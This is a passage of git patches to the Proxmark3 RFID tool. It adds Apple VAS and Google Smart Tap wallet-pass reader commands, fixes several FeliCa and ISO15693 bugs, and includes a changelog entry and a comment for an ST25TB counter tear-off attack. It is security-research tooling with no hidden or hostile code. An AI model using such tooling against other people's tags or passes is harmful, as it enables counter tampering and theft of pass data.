+ PrintAndLogEx(INFO, "--- " _CYAN_("VAS Applet Information") " ------------------------"); + + const struct tlvdb *walletTypeTlv = tlvdb_find_full(tlvRoot, 0x50); + bool skip_vas_details = false; + if (walletTypeTlv == NULL) { + PrintAndLogEx(WARNING, "Wallet type.......... " _YELLOW_("not present")); + } else { + const struct tlv *walletType = tlvdb_get_tlv(walletTypeTlv); + PrintAndLogEx(INFO, "Wallet type.......... " _YELLOW_("%s"), sprint_ascii(walletType->value, walletType->len)); + if (VASWalletTypeIsApplePay(walletType->value, walletType->len) == false) { + PrintAndLogEx(WARNING, "Wallet type is not ApplePay. This likely isn't Apple VAS."); + skip_vas_details = true; + } + } + + if (skip_vas_details == false) { + const struct tlvdb *versionTlv = tlvdb_find_full(tlvRoot, 0x9F21); + if (versionTlv == NULL) { + PrintAndLogEx(WARNING, "VAS version.......... " _YELLOW_("not present")); + } else { + const struct tlv *version = tlvdb_get_tlv(versionTlv); + if (version->len == 2) { + PrintAndLogEx(INFO, "VAS version.......... " _YELLOW_("%d.%d"), version->value[0], version->value[1]); + } else { + PrintAndLogEx(WARNING, "VAS version.......... " _YELLOW_("invalid length (%zu)"), version->len); + } + } + + const struct tlvdb *nonceTlv = tlvdb_find_full(tlvRoot, 0x9F24); + if (nonceTlv == NULL) { + PrintAndLogEx(WARNING, "Device nonce......... " _YELLOW_("not present")); + } else { + const struct tlv *nonce = tlvdb_get_tlv(nonceTlv); + PrintAndLogEx(INFO, "Device nonce......... " _YELLOW_("%s"), sprint_hex_inrow(nonce->value, nonce->len)); + if (nonce->len != 4) { + PrintAndLogEx(WARNING, "Device nonce......... " _YELLOW_("unexpected length (%zu)"), nonce->len); + } + } + + const struct tlvdb *capabilitiesTlv = tlvdb_find_full(tlvRoot, 0x9F23); + if (capabilitiesTlv == NULL) { + PrintAndLogEx(WARNING, "Mobile capabilities.. " _YELLOW_("not present")); + } else { + const struct tlv *capabilities = tlvdb_get_tlv(capabilitiesTlv); + PrintAndLogEx(INFO, "Mobile capabilities.. " _YELLOW_("%s"), sprint_hex_inrow(capabilities->value, capabilities->len)); + PrintVASCapabilitiesMeaning(capabilities); + } + } + + tlvdb_free(tlvRoot); + PrintAndLogEx(NORMAL, ""); + return PM3_SUCCESS; +} + static int CreateGetVASDataCommand(const uint8_t *pidHash, const char *url, size_t urlLen, uint8_t *out, int *outLen) { if (pidHash == NULL && url == NULL) { PrintAndLogEx(FAILED, "Must provide a Pass Type ID or a URL"); @@ -507,6 +639,30 @@ static int CmdVASReader(const char *Cmd) { return res; } +static int CmdVASInfo(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf vas info", + "Select VAS applet and print capabilities.", + "hf vas info\n" + "hf vas info -a"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("a", "apdu", "Show APDU requests and responses"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool apdu_logging = arg_get_lit(ctx, 1); + CLIParserFree(ctx); + + bool restore_apdu_logging = GetAPDULogging(); + SetAPDULogging(apdu_logging); + int res = info_vas(); + SetAPDULogging(restore_apdu_logging); + return res; +} + static int CmdVASDecrypt(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf vas decrypt", @@ -582,6 +738,7 @@ static command_t CommandTable[] = { {"--------", CmdHelp, AlwaysAvailable, "----------- " _CYAN_("Value Added Service") " -----------"}, {"help", CmdHelp, AlwaysAvailable, "This help"}, {"--------", CmdHelp, AlwaysAvailable, "----------------- " _CYAN_("General") " -----------------"}, + {"info", CmdVASInfo, IfPm3Iso14443a, "Get VAS applet information"}, {"reader", CmdVASReader, IfPm3Iso14443a, "Read and decrypt VAS message"}, {"decrypt", CmdVASDecrypt, AlwaysAvailable, "Decrypt a previously captured VAS cryptogram"}, {NULL, NULL, NULL, NULL} diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index 211b3efc8..763a82935 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -556,6 +556,7 @@ const static vocabulary_t vocabulary[] = { { 1, "hf topaz view" }, { 0, "hf topaz wrbl" }, { 1, "hf vas help" }, + { 0, "hf vas info" }, { 0, "hf vas reader" }, { 1, "hf vas decrypt" }, { 1, "hf waveshare help" }, From b801cddf13bfd4c94829d2b7931a1b648c0110c3 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 13 Mar 2026 12:33:47 +0700 Subject: [PATCH 089/162] fix @zerochaos compiler warning --- client/src/cmdhf15.c | 36 ++++++++++++++++++++++++++---------- 1 file changed, 26 insertions(+), 10 deletions(-) diff --git a/client/src/cmdhf15.c b/client/src/cmdhf15.c index 1bbdfb951..2637ce8e7 100644 --- a/client/src/cmdhf15.c +++ b/client/src/cmdhf15.c @@ -881,7 +881,7 @@ static int NxpSysInfo(uint8_t *uid) { static int StCheckSig(uint8_t *uid) { // request to be sent to device/card - uint8_t approxlen = 2 + 8 + 1 + 2; + uint16_t approxlen = 2 + ISO15693_UID_LENGTH + 1 + 2; iso15_raw_cmd_t *packet = (iso15_raw_cmd_t *)calloc(1, sizeof(iso15_raw_cmd_t) + approxlen); if (packet == NULL) { PrintAndLogEx(WARNING, "Failed to allocate memory"); @@ -891,19 +891,27 @@ static int StCheckSig(uint8_t *uid) { // ISO15693 Protocol params packet->raw[packet->rawlen++] = arg_get_raw_flag(ISO15693_UID_LENGTH, false, false, false); packet->raw[packet->rawlen++] = ISO15693_READBLOCK; + // add UID (scan, uid) memcpy(packet->raw + packet->rawlen, uid, ISO15693_UID_LENGTH); packet->rawlen += ISO15693_UID_LENGTH; packet->flags = (ISO15_CONNECT | ISO15_READ_RESPONSE | ISO15_NO_DISCONNECT); + uint16_t blkoff = packet->rawlen; char signature_hex[65] = {0}; - for (int j = 0; j < 17; j++) { + + for (int i = 0; i < 17; i++) { + + // reset rawlength counter packet->rawlen = blkoff; + // block no - packet->raw[packet->rawlen++] = 0x3F + j; - // crc + packet->raw[packet->rawlen++] = 0x3F + i; + + // add crc AddCrc15(packet->raw, packet->rawlen); packet->rawlen += 2; + clearCommandBuffer(); SendCommandNG(CMD_HF_ISO15693_COMMAND, (uint8_t *)packet, ISO15_RAW_LEN(packet->rawlen)); PacketResponseNG resp; @@ -913,27 +921,35 @@ static int StCheckSig(uint8_t *uid) { DropField(); return PM3_ETIMEOUT; } + ISO15_ERROR_HANDLING_RESPONSE uint8_t *d = resp.data.asBytes; ISO15_ERROR_HANDLING_CARD_RESPONSE(d, resp.length) - if (j == 0) { + + if (i == 0) { + if (memcmp(d + 1, "K04S", 4) != 0) { // No signature free(packet); return PM3_ESOFT; } + } else { - memcpy(signature_hex + ((j - 1) * 4), d + 1, 4); + memcpy(signature_hex + ((i - 1) * 4), d + 1, 4); } packet->flags = (ISO15_READ_RESPONSE | ISO15_NO_DISCONNECT); } + free(packet); DropField(); + uint8_t signature[16]; - size_t signature_len; + size_t signature_len = 0; hexstr_to_byte_array(signature_hex, signature, &signature_len); + uint8_t uid_swap[ISO15693_UID_LENGTH]; reverse_array_copy(uid, ISO15693_UID_LENGTH, uid_swap); + int index = originality_check_verify_ex(uid_swap, ISO15693_UID_LENGTH, signature, signature_len, PK_ST25TV, false, true); PrintAndLogEx(NORMAL, ""); return originality_check_print(signature, signature_len, index); @@ -1715,7 +1731,7 @@ static int CmdHF15WriteDsfid(const char *Cmd) { } // request to be sent to device/card - uint8_t approxlen = 2 + 8 + 1 + 2; + uint16_t approxlen = 2 + ISO15693_UID_LENGTH + 1 + 2; iso15_raw_cmd_t *packet = (iso15_raw_cmd_t *)calloc(1, sizeof(iso15_raw_cmd_t) + approxlen); if (packet == NULL) { PrintAndLogEx(WARNING, "Failed to allocate memory"); @@ -1835,7 +1851,7 @@ static int CmdHF15Dump(const char *Cmd) { } // request to be sent to device/card - uint8_t approxlen = 2 + 8 + 1 + 2; + uint16_t approxlen = 2 + ISO15693_UID_LENGTH + 1 + 2; iso15_raw_cmd_t *packet = (iso15_raw_cmd_t *)calloc(1, sizeof(iso15_raw_cmd_t) + approxlen); if (packet == NULL) { PrintAndLogEx(WARNING, "Failed to allocate memory"); @@ -2380,7 +2396,7 @@ static int CmdHF15Readblock(const char *Cmd) { } // request to be sent to device/card - uint8_t approxlen = 2 + 8 + 1 + 2; + uint16_t approxlen = 2 + ISO15693_UID_LENGTH + 1 + 2; iso15_raw_cmd_t *packet = (iso15_raw_cmd_t *)calloc(1, sizeof(iso15_raw_cmd_t) + approxlen); if (packet == NULL) { PrintAndLogEx(WARNING, "Failed to allocate memory"); From 5b2e805c73d56e937a9ea5f657dc4b10f65ac624 Mon Sep 17 00:00:00 2001 From: Christian Zanon <105173223+xNovyz@users.noreply.github.com> Date: Fri, 13 Mar 2026 13:02:34 +0100 Subject: [PATCH 090/162] Update start delay comment Signed-off-by: Christian Zanon <105173223+xNovyz@users.noreply.github.com> --- armsrc/iso14443b.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index eed18eed4..6a70887d5 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -2927,7 +2927,7 @@ void ST25TB_TearOff(const uint8_t *data) { uint32_t last_consolidated_value = 0; uint32_t tear_off_value = 0; - // Start delay: user-specified or default 3000us (well within ~4ms EEPROM write window) + // Start delay: user-specified or default TEAROFF_INITIAL_DELAY_US (150 us) int tear_off_us = (start_time_us > 0) ? (int)start_time_us : TEAROFF_INITIAL_DELAY_US; if (tear_off_adjustment_us == 0) { tear_off_adjustment_us = TEAROFF_ADJUSTMENT_US_DEF; From bf0abf3ee1788ca4495def3c67d00032f4d2e114 Mon Sep 17 00:00:00 2001 From: q0jt <89930816+q0jt@users.noreply.github.com> Date: Sat, 14 Mar 2026 03:22:42 +0900 Subject: [PATCH 091/162] Fix avoid double free in CmdHFFelicaReader --- client/src/cmdhffelica.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index d74b58ef5..8c3e472dc 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -795,8 +795,7 @@ static int CmdHFFelicaReader(const char *Cmd) { if (cm) { PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); } - - CLIParserFree(ctx); + return read_felica_uid(cm, verbose); } From 08a90b9eba6dc87abc311d84660b33ac10f21e3f Mon Sep 17 00:00:00 2001 From: q0jt <89930816+q0jt@users.noreply.github.com> Date: Sat, 14 Mar 2026 03:36:57 +0900 Subject: [PATCH 092/162] Fix correct status flag error handling in authentication flow --- client/src/cmdhffelica.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index 8c3e472dc..9df72f7ea 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -4200,7 +4200,7 @@ static int felica_internal_authentication( return PM3_ERFTRANS; } - if (res.status_flags.status_flag1[0] != 0x00 && res.status_flags.status_flag2[0] != 0x00) { + if (res.status_flags.status_flag1[0] != 0x00 || res.status_flags.status_flag2[0] != 0x00) { PrintAndLogEx(ERR, "\nError RC Write"); return PM3_ERFTRANS; } @@ -4329,7 +4329,7 @@ static int felica_external_authentication( return PM3_ERFTRANS; } - if (res.status_flags.status_flag1[0] != 0x00 && res.status_flags.status_flag2[0] != 0x00) { + if (res.status_flags.status_flag1[0] != 0x00 || res.status_flags.status_flag2[0] != 0x00) { PrintAndLogEx(ERR, "\nExternal Authenticate: " _RED_("Failed")); return PM3_ERFTRANS; } From 661634649a7e2bc4d11aca1bba9ab9d15b9cd554 Mon Sep 17 00:00:00 2001 From: q0jt <89930816+q0jt@users.noreply.github.com> Date: Sat, 14 Mar 2026 03:45:22 +0900 Subject: [PATCH 093/162] Fix reject responses with invalid CRC --- client/src/cmdhffelica.c | 1 + 1 file changed, 1 insertion(+) diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index 9df72f7ea..aa1be7309 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -610,6 +610,7 @@ static bool waitCmdFelicaEx(bool iSelect, PacketResponseNG *resp, bool verbose, if (logging) { PrintAndLogEx(WARNING, "CRC ( " _RED_("fail") " )"); } + return false; } if (resp->data.asBytes[0] != 0xB2 || resp->data.asBytes[1] != 0x4D) { From c8a4314353eb31201dc6a81c8c695b5f93bcf9fa Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Fri, 13 Mar 2026 20:39:57 +0200 Subject: [PATCH 094/162] Add `hf gst` commands --- CHANGELOG.md | 2 + client/CMakeLists.txt | 15 + client/Makefile | 20 + client/experimental_lib/CMakeLists.txt | 15 + client/resources/gst.google.der | Bin 0 -> 138 bytes client/resources/gst.passkit.der | Bin 0 -> 138 bytes client/src/cmdhf.c | 2 + client/src/cmdhf14a.c | 1 + client/src/cmdhfgst.c | 2314 +++++++++++++++++ client/src/cmdhfgst.h | 26 + client/src/crypto/libpcrypto.c | 376 +++ client/src/crypto/libpcrypto.h | 13 + client/src/pm3line_vocabulary.h | 4 + client/src/ui.c | 36 + client/src/ui.h | 2 + client/src/util.c | 60 + client/src/util.h | 4 + .../Linux-Installation-Instructions.md | 5 +- ...acOS-Homebrew-Installation-Instructions.md | 6 +- 19 files changed, 2899 insertions(+), 2 deletions(-) create mode 100644 client/resources/gst.google.der create mode 100644 client/resources/gst.passkit.der create mode 100644 client/src/cmdhfgst.c create mode 100644 client/src/cmdhfgst.h diff --git a/CHANGELOG.md b/CHANGELOG.md index b7e52289c..3046ebdd5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `hf gst read` command (@kormax) +- Added `hf gst info` command (@kormax) - Added `hf 14b tearoff` - interactive ST25TB/SRx monotonic counter tear-off attack (@xNovyz) - Fixed missing `WDT_HIT()` in `Get14443bAnswerFromTag()` DMA polling loop causing hardware watchdog reboot on SSC clock stall (@xNovyz) - Added `hf vas info` command (@kormax) diff --git a/client/CMakeLists.txt b/client/CMakeLists.txt index 794c52646..e1232f08d 100644 --- a/client/CMakeLists.txt +++ b/client/CMakeLists.txt @@ -261,6 +261,8 @@ if (LZ4_INCLUDE_DIRS AND LZ4_LIBRARIES) set(LZ4_FOUND ON) endif (LZ4_INCLUDE_DIRS AND LZ4_LIBRARIES) +find_package(ZLIB QUIET) + if (NOT SKIPGD EQUAL 1) if (EMBED_GD) cmake_policy(SET CMP0114 NEW) @@ -386,6 +388,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/cmdhffido.c ${PM3_ROOT}/client/src/cmdhffudan.c ${PM3_ROOT}/client/src/cmdhfgallagher.c + ${PM3_ROOT}/client/src/cmdhfgst.c ${PM3_ROOT}/client/src/cmdhfcipurse.c ${PM3_ROOT}/client/src/cmdhficlass.c ${PM3_ROOT}/client/src/cmdhfict.c @@ -584,6 +587,12 @@ if (LZ4_FOUND) set(ADDITIONAL_LNK ${LZ4_LIBRARIES} ${ADDITIONAL_LNK}) endif (LZ4_FOUND) +if (ZLIB_FOUND) + add_definitions("-DHAVE_ZLIB") + set(ADDITIONAL_DIRS ${ZLIB_INCLUDE_DIRS} ${ADDITIONAL_DIRS}) + set(ADDITIONAL_LNK ${ZLIB_LIBRARIES} ${ADDITIONAL_LNK}) +endif (ZLIB_FOUND) + if (NOT SKIPGD EQUAL 1 AND GD_FOUND) set(ADDITIONAL_DIRS ${GD_INCLUDE_DIRS} ${ADDITIONAL_DIRS}) set(ADDITIONAL_LNK ${GD_LIBRARIES} ${ADDITIONAL_LNK}) @@ -651,6 +660,12 @@ else (LZ4_FOUND) message(SEND_ERROR "LZ4 library: LZ4 not found") endif (LZ4_FOUND) +if (ZLIB_FOUND) + message(STATUS "Zlib library: system library found (enabled)") +else (ZLIB_FOUND) + message(STATUS "Zlib library: not found, disabled") +endif (ZLIB_FOUND) + if (SKIPGD EQUAL 1) message(STATUS "GD library: skipped") elseif (GD_FOUND) diff --git a/client/Makefile b/client/Makefile index e2e2499ef..7381c16b7 100644 --- a/client/Makefile +++ b/client/Makefile @@ -272,6 +272,15 @@ LDLIBS += -lbz2 ## LZ4 LDLIBS += -llz4 +## ZLIB +ZLIBINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags zlib 2>/dev/null) +ZLIBLDLIBS = $(shell $(PKG_CONFIG_ENV) pkg-config --libs zlib 2>/dev/null) +ifneq ($(ZLIBLDLIBS),) + LDLIBS += $(ZLIBLDLIBS) + PM3INCLUDES += $(ZLIBINCLUDES) + ZLIB_FOUND = 1 +endif + ## Bluez (optional) ifneq ($(SKIPBT),1) BTINCLUDES = $(shell $(PKG_CONFIG_ENV) pkg-config --cflags bluez 2>/dev/null) @@ -485,6 +494,10 @@ ifeq ($(GD_FOUND),1) PM3CFLAGS += -DHAVE_GD endif +ifeq ($(ZLIB_FOUND),1) + PM3CFLAGS += -DHAVE_ZLIB +endif + ifeq ($(SWIG_LUA_FOUND),1) PM3CFLAGS += -DHAVE_LUA_SWIG endif @@ -597,6 +610,12 @@ else endif endif +ifeq ($(ZLIB_FOUND),1) + $(info Zlib library: system library found, enabled) +else + $(info Zlib library: not found, disabled) +endif + ifeq ($(SKIPREADLINE),1) $(info Readline library: skipped) else @@ -674,6 +693,7 @@ SRCS = mifare/aiddesfire.c \ cmdhffido.c \ cmdhffudan.c \ cmdhfgallagher.c \ + cmdhfgst.c \ cmdhfksx6924.c \ cmdhfcipurse.c \ cmdhficlass.c \ diff --git a/client/experimental_lib/CMakeLists.txt b/client/experimental_lib/CMakeLists.txt index e3f9b5c53..885f6b2b2 100644 --- a/client/experimental_lib/CMakeLists.txt +++ b/client/experimental_lib/CMakeLists.txt @@ -181,6 +181,8 @@ if (LZ4_INCLUDE_DIRS AND LZ4_LIBRARIES) set(LZ4_FOUND ON) endif (LZ4_INCLUDE_DIRS AND LZ4_LIBRARIES) +find_package(ZLIB QUIET) + if (NOT SKIPGD EQUAL 1) if (EMBED_GD) cmake_policy(SET CMP0114 NEW) @@ -305,6 +307,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/cmdhffido.c ${PM3_ROOT}/client/src/cmdhffudan.c ${PM3_ROOT}/client/src/cmdhfgallagher.c + ${PM3_ROOT}/client/src/cmdhfgst.c ${PM3_ROOT}/client/src/cmdhfcipurse.c ${PM3_ROOT}/client/src/cmdhficlass.c ${PM3_ROOT}/client/src/cmdhfict.c @@ -479,6 +482,12 @@ if (LZ4_FOUND) set(ADDITIONAL_LNK ${LZ4_LIBRARIES} ${ADDITIONAL_LNK}) endif (LZ4_FOUND) +if (ZLIB_FOUND) + add_definitions("-DHAVE_ZLIB") + set(ADDITIONAL_DIRS ${ZLIB_INCLUDE_DIRS} ${ADDITIONAL_DIRS}) + set(ADDITIONAL_LNK ${ZLIB_LIBRARIES} ${ADDITIONAL_LNK}) +endif (ZLIB_FOUND) + if (NOT SKIPGD EQUAL 1 AND GD_FOUND) set(ADDITIONAL_DIRS ${GD_INCLUDE_DIRS} ${ADDITIONAL_DIRS}) set(ADDITIONAL_LNK ${GD_LIBRARIES} ${ADDITIONAL_LNK}) @@ -533,6 +542,12 @@ else (LZ4_FOUND) message(SEND_ERROR "LZ4 library: LZ4 not found") endif (LZ4_FOUND) +if (ZLIB_FOUND) + message(STATUS "Zlib library: system library found (enabled)") +else (ZLIB_FOUND) + message(STATUS "Zlib library: not found, disabled") +endif (ZLIB_FOUND) + if (SKIPGD EQUAL 1) message(STATUS "GD library: skipped") elseif (GD_FOUND) diff --git a/client/resources/gst.google.der b/client/resources/gst.google.der new file mode 100644 index 0000000000000000000000000000000000000000..8820c256222fc7a7e964b5544c5d9bb6ffa9c8f2 GIT binary patch literal 138 zcmXqLY-eI*Fc4;A*J|@PXUoLM#sOw9GqSVf8e}suGO{Q%<%&OLPv4lj;mOU%Mn5iI ze8i-p;lJh9$ERG(DtQH!wF_OCofue(WTy9@+k5tBSF6O{BmeH-VA}G|QR7jdbz10T r^El=9Hb%dieXW8MV~-kFeXTvK(ytbLeA%jX&n6m7`&)P-`p9(vet}EJ$-D0p7Po!>=V0j?y| +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef HAVE_ZLIB +#include +#endif +#include "cliparser.h" +#include "cmdparser.h" +#include "cmdtrace.h" +#include "commonutil.h" +#include "comms.h" +#include "crypto/libpcrypto.h" +#include "emv/tlv.h" +#include "iso7816/apduinfo.h" +#include "iso7816/iso7816core.h" +#include "protocols.h" +#include "ui.h" +#include "util.h" + +#define GST_MAX_BUFFER 4096 +#define GST_MAX_NDEF_BUFFER 2048 +#define GST_MAX_NONCE_LEN 64 +#define GST_MAX_SIGNATURE_LEN 96 +#define GST_MAX_DECOMPRESSED_PAYLOAD (256 * 1024) +#define GST_MAX_PRIVATE_KEY_ARG 8192 +#define GST_MAX_WALLET_TYPE_LEN 64 +#define GST_MAX_FEATURES_LEN 16 +#define GST_MAX_GET_DATA_CHAINED_RETRIES 10 + +static const uint8_t GST_OSE_AID[] = {'O', 'S', 'E', '.', 'V', 'A', 'S', '.', '0', '1'}; +static const uint8_t GST_SMART_TAP_V2_AID[] = {0xA0, 0x00, 0x00, 0x04, 0x76, 0xD0, 0x00, 0x01, 0x11}; + +static const uint8_t GST_TYPE_HANDSET_NONCE[] = {'m', 'd', 'n'}; +static const uint8_t GST_TYPE_SESSION[] = {'s', 'e', 's'}; +static const uint8_t GST_TYPE_NEGOTIATE_REQUEST[] = {'n', 'g', 'r'}; +static const uint8_t GST_TYPE_NEGOTIATE_RESPONSE[] = {'n', 'r', 's'}; +static const uint8_t GST_TYPE_CRYPTO_PARAMS[] = {'c', 'p', 'r'}; +static const uint8_t GST_TYPE_SIGNATURE[] = {'s', 'i', 'g'}; +static const uint8_t GST_TYPE_SERVICE_REQUEST[] = {'s', 'r', 'q'}; +static const uint8_t GST_TYPE_SERVICE_RESPONSE[] = {'s', 'r', 's'}; +static const uint8_t GST_TYPE_MERCHANT[] = {'m', 'e', 'r'}; +static const uint8_t GST_TYPE_COLLECTOR_ID[] = {'c', 'l', 'd'}; +static const uint8_t GST_TYPE_SERVICE_LIST[] = {'s', 'l', 'r'}; +static const uint8_t GST_TYPE_SERVICE_TYPE_REQUEST[] = {'s', 't', 'r'}; +static const uint8_t GST_TYPE_POS_CAPABILITIES[] = {'p', 'c', 'r'}; +static const uint8_t GST_TYPE_HANDSET_EPH_PUBKEY[] = {'d', 'p', 'k'}; +static const uint8_t GST_TYPE_RECORD_BUNDLE[] = {'r', 'e', 'b'}; +static const uint8_t GST_TYPE_SERVICE_VALUE[] = {'a', 's', 'v'}; +static const uint8_t GST_TYPE_ISSUER[] = {'i'}; +static const uint8_t GST_TYPE_CUSTOMER[] = {'c', 'u', 's'}; +static const uint8_t GST_TYPE_CUSTOMER_ID[] = {'c', 'i', 'd'}; +static const uint8_t GST_TYPE_CUSTOMER_LANGUAGE[] = {'c', 'p', 'l'}; +static const uint8_t GST_TYPE_OBJECT_ID[] = {'o', 'i', 'd'}; +static const uint8_t GST_TYPE_SERVICE_NUMBER[] = {'n'}; +static const uint8_t GST_OBJECT_TYPE_EVENT[] = {'e', 't'}; +static const uint8_t GST_OBJECT_TYPE_FLIGHT[] = {'f', 'l'}; +static const uint8_t GST_OBJECT_TYPE_GIFT_CARD[] = {'g', 'c'}; +static const uint8_t GST_OBJECT_TYPE_LOYALTY[] = {'l', 'y'}; +static const uint8_t GST_OBJECT_TYPE_OFFER[] = {'o', 'f'}; +static const uint8_t GST_OBJECT_TYPE_PRIVATE_LABEL_CARD[] = {'p', 'l'}; +static const uint8_t GST_OBJECT_TYPE_TRANSIT[] = {'t', 'r'}; +static const uint8_t GST_OBJECT_TYPE_GENERIC[] = {'g', 'r'}; +static const uint8_t GST_OBJECT_TYPE_GENERIC_PRIVATE[] = {'g', 'p'}; +static const uint8_t GST_RNG_PERSONALIZATION[] = "pm3-gst"; + +typedef enum { + GST_MODE_PASS_ONLY = 0x01, + GST_MODE_PAYMENT_ONLY = 0x02, + GST_MODE_PASS_AND_PAYMENT = 0x04, + GST_MODE_PASS_OVER_PAYMENT = 0x08, +} gst_mode_t; + +typedef enum { + GST_SYSTEM_ZLIB_SUPPORTED = 0x40, +} gst_system_flag_t; + +typedef enum { + GST_SELECT_AUTO = 0, + GST_SELECT_YES = 1, + GST_SELECT_NO = 2, +} gst_select_behavior_t; + +typedef struct { + bool have_wallet_type; + uint8_t wallet_type[GST_MAX_WALLET_TYPE_LEN]; + size_t wallet_type_len; + bool have_features; + uint8_t features[GST_MAX_FEATURES_LEN]; + size_t features_len; + bool have_capabilities; + uint8_t capabilities; + bool have_ose_device_nonce; + uint8_t ose_device_nonce[GST_MAX_NONCE_LEN]; + size_t ose_device_nonce_len; + bool have_min_version; + uint8_t min_version[2]; + bool have_max_version; + uint8_t max_version[2]; + bool have_directory_smart_tap_entry; + bool have_directory_device_nonce; + uint8_t directory_device_nonce[GST_MAX_NONCE_LEN]; + size_t directory_device_nonce_len; +} gst_ose_info_t; + +typedef struct { + bool have_min_version; + uint8_t min_version[2]; + bool have_max_version; + uint8_t max_version[2]; + bool have_handset_nonce; + uint8_t handset_nonce[GST_MAX_NONCE_LEN]; + size_t handset_nonce_len; +} gst_select_info_t; + +typedef struct { + uint8_t tnf; + const uint8_t *type; + size_t type_len; + const uint8_t *id; + size_t id_len; + const uint8_t *payload; + size_t payload_len; +} gst_ndef_record_t; + +typedef struct { + bool mb; + bool me; + uint8_t tnf; + const uint8_t *type; + size_t type_len; + const uint8_t *id; + size_t id_len; + const uint8_t *payload; + size_t payload_len; +} gst_ndef_record_view_t; + +typedef struct { + uint32_t collector_id; + uint32_t key_version; + uint8_t reader_private_key[32]; + bool have_session_id; + uint8_t session_id[8]; + bool have_reader_nonce; + uint8_t reader_nonce[32]; + bool have_reader_ephemeral_private_key; + uint8_t reader_ephemeral_private_key[32]; + gst_mode_t mode; + gst_select_behavior_t select_behavior; + bool live_authentication; + bool apdu_logging; +} gst_read_config_t; + +typedef struct { + const uint8_t *type; + size_t type_len; + const char *name; +} gst_object_type_t; + +static const gst_object_type_t gst_object_types[] = { + {GST_OBJECT_TYPE_EVENT, sizeof(GST_OBJECT_TYPE_EVENT), "event"}, + {GST_OBJECT_TYPE_FLIGHT, sizeof(GST_OBJECT_TYPE_FLIGHT), "flight"}, + {GST_OBJECT_TYPE_GIFT_CARD, sizeof(GST_OBJECT_TYPE_GIFT_CARD), "gift_card"}, + {GST_OBJECT_TYPE_LOYALTY, sizeof(GST_OBJECT_TYPE_LOYALTY), "loyalty"}, + {GST_OBJECT_TYPE_OFFER, sizeof(GST_OBJECT_TYPE_OFFER), "offer"}, + {GST_OBJECT_TYPE_PRIVATE_LABEL_CARD, sizeof(GST_OBJECT_TYPE_PRIVATE_LABEL_CARD), "private_label_card"}, + {GST_OBJECT_TYPE_TRANSIT, sizeof(GST_OBJECT_TYPE_TRANSIT), "transit"}, + {GST_OBJECT_TYPE_GENERIC, sizeof(GST_OBJECT_TYPE_GENERIC), "generic"}, + {GST_OBJECT_TYPE_GENERIC_PRIVATE, sizeof(GST_OBJECT_TYPE_GENERIC_PRIVATE), "generic_private"}, +}; + +static int CmdHelp(const char *Cmd); + +static bool gst_wallet_type_is_android_pay(const uint8_t *wallet_type, size_t wallet_type_len) { + static const uint8_t android_pay_wallet_type[] = "AndroidPay"; + return wallet_type != NULL + && wallet_type_len == (sizeof(android_pay_wallet_type) - 1) + && memcmp(wallet_type, android_pay_wallet_type, sizeof(android_pay_wallet_type) - 1) == 0; +} + +static uint32_t gst_version_value(const uint8_t version[2]) { + return ((uint32_t)version[0] << 8) | version[1]; +} + +static const char *gst_issuer_type_name(uint8_t issuer_type) { + switch (issuer_type) { + case 0x00: + return "unspecified"; + case 0x01: + return "merchant"; + case 0x02: + return "wallet"; + case 0x03: + return "manufacturer"; + default: + return "unknown"; + } +} + +static const char *gst_status_name(uint16_t sw) { + switch (sw) { + case 0x9000: + return "OK"; + case 0x9001: + return "OK_NO_PAYLOAD"; + case 0x9002: + return "OK_PRE_SIGNED_AUTH"; + case 0x9100: + return "OK_MORE_PAYLOAD"; + case 0x9201: + return "CRYPTO_FAILURE"; + case 0x9203: + return "EXECUTION_FAILURE"; + case 0x9300: + return "DEVICE_LOCKED"; + case 0x9302: + return "DISAMBIGUATION_SCREEN_SHOWN"; + case 0x9400: + return "UNKNOWN_TERMINAL_COMMAND"; + case 0x9402: + return "PARSING_FAILURE"; + case 0x9403: + return "INVALID_CRYPTO_INPUT"; + case 0x9404: + return "REQUEST_MORE_NOT_APPLICABLE"; + case 0x9405: + return "MORE_DATA_NOT_AVAILABLE"; + case 0x9406: + return "TOO_MANY_REQUESTS"; + case 0x9407: + return "NO_MERCHANT_SET"; + case 0x9408: + return "INVALID_PUSHBACK_URI"; + case 0x9500: + return "AUTH_FAILED"; + case 0x9502: + return "VERSION_NOT_SUPPORTED"; + default: + break; + } + if ((sw >> 8) == 0x92) { + return "UNKNOWN_TRANSIENT_FAILURE"; + } + if ((sw >> 8) == 0x93) { + return "UNKNOWN_USER_ACTION_NEEDED"; + } + if ((sw >> 8) == 0x94) { + return "UNKNOWN_TERMINAL_ERROR"; + } + if ((sw >> 8) == 0x95) { + return "UNKNOWN_PERMANENT_ERROR"; + } + return "UNKNOWN"; +} + +static bool gst_status_is_success(uint16_t sw) { + 